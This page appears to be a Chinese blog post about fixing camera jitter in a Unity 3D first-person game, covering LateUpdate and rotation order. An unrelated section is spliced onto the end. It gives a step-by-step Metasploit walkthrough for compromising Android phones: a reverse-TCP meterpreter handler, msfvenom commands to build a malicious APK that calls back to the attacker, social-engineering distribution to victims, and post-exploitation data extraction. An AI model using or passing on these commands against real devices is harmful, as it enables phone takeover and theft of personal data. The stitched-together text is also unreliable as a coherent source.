关于Unity 3D第一人称视角移动时相机抖动的问题

在Unity3D开发第一人称游戏时遇到相机抖动问题,通常是由于相机跟随代码放在Update中导致。解决方法是将相机跟随的逻辑移到LateUpdate中,确保在所有Update执行后才进行,从而避免抖动。此外,调整玩家转动和相机转动的代码顺序也至关重要,应先同步玩家和相机的角度,再设置相机朝向。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Unity 3D中第一人称视角Camera相机抖动的原因及解决方法


前言

在使用Unity自制第一人称FPS游戏时,场景运行时鼠标移动视角的时候,镜头出现抖动现象。


问题反思

出现抖动问题是因为相机跟随的代码放在了Update中,因为跟随目标的移动也是Update每帧执行。但是相机跟随一般是等跟随目标先移动,然后再执行跟随的代码。但是如果两者都放在Update中,执行的顺序不是固定的,所以会出现抖动情况。

解决方法

把Camera的跟随写到 LateUpdate 函数里,因为 LateUpdate 是在所有 Update 方法调用后被调用,这样就解决了人物在移动过程中,摄像机抖动的现象。

1.错误代码

代码如下(示例):(我一开始的代码)

// 相机转动
transform.rotation = Quaternion.Euler(rotationVector3.x, rotationVector3.y, 0);
// 玩家转动
playerTransform.rotation = Quaternion.Euler(0, rotationVector3.y, 0);

2.修改后数据

代码如下(示例):

// 玩家转动
playerTransform.rotation = Quaternion.Euler(0, rotationVector3.y, 0);
// 相机转动
transform.rotation = Quaternion.Euler(rotationVector3.x, rotationVector3.y, 0);

Camera因为要和玩家的角度同向,所以应当将这两行代码进行调换位置,应先让Camera的Rotation.y和玩家相同,然后再让Camera朝向鼠标的坐标,否则每帧运行时先朝向鼠标再和“身体”同步就会让视野抖动


总结扩展

在脚本的整个生命周期中,Unity 主要提供了3种更新方法:

1、Update():每一帧执行时,都会立即调用此方法。
2、LateUpdate():LateUpdate 是在所有 Update 方法调用之后被调用(语出圣典)。
3、FixedUpdate():固定更新。默认情况下,系统每0.02秒调用一次。 

三者区别:

Update() 和 LateUpdate() 属于立即更新,更新之间的频率是不固定的,比如某一帧有一个耗时操作时,就会影响到下一帧更新时间,所以对更新频率要求比较稳定的物理系统(如Rididbody)就不太适合在这里处理更新。

FixedUpdate() 虽然是固定更新,但是其实也是相对固定的,比如某一帧耗了好几秒,它依然会卡住。不过正常的程序会优化耗时操作,小范围的帧率波动是正常的,可以让它更新的时间间隔稍微长一点,这样它的更新是比较平滑的。

### 使用 Kali Linux 和 Metasploit Framework 对 Android 设备进行渗透测试 #### 准备工作 为了确保环境配置正确,在开始之前需更新和升级 Kali Linux 的包管理器以及安装新版本的 Metasploit Framework[^1]。 ```bash apt update && apt upgrade -y apt install metasploit-framework -y ``` #### 启动 Metasploit Framework 通过 `msfconsole` 命令可以启动 Metasploit Framework 并进入其交互式命令行界面。这一步骤对于后续操作至关重要,因为所有的渗透测试活动都将在此环境中执行[^2]。 ```bash msfconsole ``` #### 配置监听模块 针对 Android 设备的渗透测试通常涉及使用特定的有效载荷(payload)。下面是一个常见的有效载荷设置过程: - **选择多平台反向 TCP Shell** ```ruby use exploit/multi/handler set payload android/meterpreter/reverse_tcp ``` - **设定 LHOST 参数** 这里需要指定本地 IP 地址作为回调地址,即攻击者机器上的 IP 地址。 ```ruby set LHOST <Your_Kali_IP_Address> ``` - **设定 LPORT 参数** 设置用于接收连接请求的端口号,默认情况下可以选择 4444 或其他未被占用的端口。 ```ruby set LPORT 4444 ``` - **开启监听** 执行此指令后,Metasploit 将等待来自目标设备的连接尝试。 ```ruby exploit -j -z ``` #### 创建恶意 APK 文件 为了让 Android 用户下载并运行含有恶意代码的应用程序,可利用 msfvenom 工具生成带有自定义图标和名称的 APK 文件。 ```bash msfvenom -p android/meterpreter/reverse_tcp LHOST=<Your_Kali_IP_Address> LPORT=4444 R > malicious.apk ``` #### 社会工程学手段传播恶意应用 将生成好的 APK 发送给潜在受害者或者上传到不受信任的应用商店让对方自行下载安装。请注意这种行为仅限于合法授权范围内的安全评估活动中。 #### 获取 Meterpreter Session 一旦受害者的手机成功安装并打开了该应用程序,则会在 Metasploit 控制台中看到一个新的 session 被创建出来。此时便可以获得对受感染系统的完全控制权限。 ```ruby sessions -i <Session_ID> ``` #### 实施进一步行动 有了 meterpreter shell 访问权之后就可以开展更多深入调查动作比如提取敏感数据、提权等高级技巧。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

辻渃mercury

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值